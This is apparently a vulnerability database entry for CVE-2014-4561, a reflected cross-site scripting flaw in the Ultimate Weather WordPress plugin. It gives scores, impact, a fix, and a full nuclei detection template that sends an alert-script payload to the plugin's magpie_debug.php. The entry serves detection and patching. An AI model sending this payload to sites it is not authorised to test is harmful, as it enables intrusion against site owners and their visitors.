HexBrain

Browse / CVEs / CVE-2014-4561

CVE-2014-4561· ultimate-weather project / ultimate-weather· CWE-79

Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the plugin's output, potentially leading to the execution of arbitrary code or stealing sensitive information.

Fix

Upgrade to a patched version of the Ultimate Weather Plugin that addresses the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/ultimate-weather-plugin/readme.txt
Positive when: contains "Ultimate Weather" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscrip…
Positive when: contains "\"><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4561 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-4561

info:
  name: Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the plugin's output, potentially leading to the execution of arbitrary code or stealing sensitive information.
  remediation: |
    Upgrade to a patched version of the Ultimate Weather Plugin that addresses the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/5c358ef6-8059-4767-8bcb-418a45b2352d
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4561
    - http://codevigilant.com/disclosure/wp-plugin-ultimate-weather-plugin-a3-cross-site-scripting-xss/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4561
    cwe-id: CWE-79
    epss-score: 0.03826
    epss-percentile: 0.90169
    cpe: cpe:2.3:a:ultimate-weather_project:ultimate-weather:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "ultimate-weather_project"
    product: "ultimate-weather"
    framework: wordpress
  tags: cve2014,cve,wordpress,wp-plugin,xss,weather,wpscan,unauth,ultimate-weather_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ultimate-weather-plugin/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ultimate Weather'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from